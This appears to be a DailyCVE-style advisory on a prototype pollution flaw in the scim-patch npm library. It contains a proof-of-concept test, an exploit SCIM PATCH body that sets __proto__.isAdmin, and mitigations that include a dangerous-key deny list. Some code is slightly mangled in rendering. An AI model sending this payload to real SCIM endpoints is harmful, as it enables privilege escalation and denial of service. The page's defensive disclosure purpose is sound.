scim-patch, Prototype Pollution, CVE-2024-XXXX (pending) -DC-Jun2026-565

Listen to this Post

How the CVE Works

The vulnerability exists in the `scim-patch` npm library, which implements the SCIM PATCH operation as defined in RFC 7644. The library’s `scimPatch()` function is designed to apply patch operations to SCIM resources. The issue arises in the `addOrReplaceObjectAttribute` function (src/scimPatch.ts:415-427), which iterates over user-supplied `patch.value` using `Object.entries` and processes each key through resolvePaths, which splits the key string on `.` characters.
The `assign` function (src/scimPatch.ts:437-445) then walks the resulting key path without any filtering on dangerous keys. For a key path like ["__proto__", "polluted"], the code checks `”__proto__” in obj` — this is always true because `__proto__` exists on every object. The fresh-object branch is skipped, and `obj = obj[“__proto__”]` now points to Object.prototype. The final write then lands on Object.prototype.polluted. The same mechanism works for `constructor.prototype` keys.
After one such patch, `Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process. Any service that calls `scimPatch()` on attacker-controlled JSON — i.e., any SCIM endpoint accepting PATCH from an external IdP — is exploitable on a stock Node runtime.
The impact is severe: the prototype pollution persists until the Node process restarts, meaning the blast radius is every request that the container handles after the pollution. Attackers can inject properties like `isAdmin` or `polluted` into Object.prototype, leading to privilege escalation, logic bypass, or DoS. The fix is to reject dangerous keys (__proto__, constructor, prototype) in `assign()` before the walk, or to use `Object.create(null)` for intermediate objects and `Object.defineProperty` for the final write.

DailyCVE Form:

Platform: ……. Node.js / npm
Version: …….. <= 0.9.0
Vulnerability :…… Prototype Pollution (CWE-1321)
Severity: ……. High
date: ………. 2024 (disclosed)

Prediction: ….. Patch expected 0.9.1

What Undercode Say:

Check if your project uses scim-patch
npm list scim-patch
Check version
npm view scim-patch version
Upgrade to patched version
npm install [email protected]

Proof of Concept (test/prototypePollution.test.ts):

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';
describe('Prototype pollution via scim-patch', () => {
let scimUser: ScimUser;
beforeEach(() => {
scimUser = JSON.parse(<code>{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "tea_4",
"userName": "spiderman",
"name": { "familyName": "Parker", "givenName": "Peter" },
"active": true,
"emails": [{ "value": "[email protected]", "primary": true }],
"roles": [],
"meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
}</code>);
});
afterEach(() => {
delete (Object.prototype as any).polluted;
delete (Object.prototype as any).isAdmin;
});
it('pollutes Object.prototype via a value-key containing <strong>proto</strong>', () => {
expect(({} as any).polluted).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '<strong>proto</strong>.polluted': 'yes' }
}]);
expect((Object.prototype as any).polluted).to.equal('yes');
expect(({} as any).polluted).to.equal('yes');
});
it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
expect(({} as any).isAdmin).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '<strong>proto</strong>.isAdmin': true }
}]);
expect((Object.prototype as any).isAdmin).to.equal(true);
expect(({} as any).isAdmin).to.equal(true);
});
});

How Exploit:

An attacker sends a SCIM PATCH request with a `value` object containing a key like `__proto__.polluted` or __proto__.isAdmin:

{
"schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
"Operations": [
{
"op": "add",
"path": "name",
"value": {
"<strong>proto</strong>.isAdmin": true
}
}
]
}

When processed by scimPatch(), this pollutes `Object.prototype.isAdmin` globally. Any subsequent code that checks `user.isAdmin` on a plain object (without hasOwnProperty) will see true, leading to privilege escalation.

Protection:

1. Upgrade immediately to `[email protected]` or later.

  1. If unable to upgrade, call `Object.freeze(Object.prototype)` at process startup. This makes assignment to the frozen prototype a silent no-op (sloppy mode) or a `TypeError` (strict mode). Node’s `–frozen-intrinsics` flag does this for built-ins automatically.
  2. Apply the minimal patch in your own fork:
    const DANGEROUS_KEYS = new Set(['<strong>proto</strong>', 'constructor', 'prototype']);
    function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
    if (DANGEROUS_KEYS.has(key)) {
    throw new InvalidScimPatchOp(<code>Forbidden key in patch path: ${key}</code>);
    }
    }
    // ... existing logic
    }
    
  3. Alternative safer fix: Switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[bash] = value` for the final write.

Impact:

  • Privilege Escalation: If auth/middleware code checks `actor.isAdmin` or `req.user.admin` against a plain object that expects the key to be absent, the polluted property grants admin access.
  • Logic Bypass / DoS: If any code branches on obj.name, obj.type, obj.id, etc. against plain objects, the polluted values can alter application logic. A real incident was observed with pg‘s prepared-statement naming check.
  • Persistence: The pollution lasts until the Node process restarts, affecting every subsequent request handled by the container.
  • Scope: The bug is in a SCIM library, but the side effect (Object.prototype mutation) leaks into the entire Node process.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top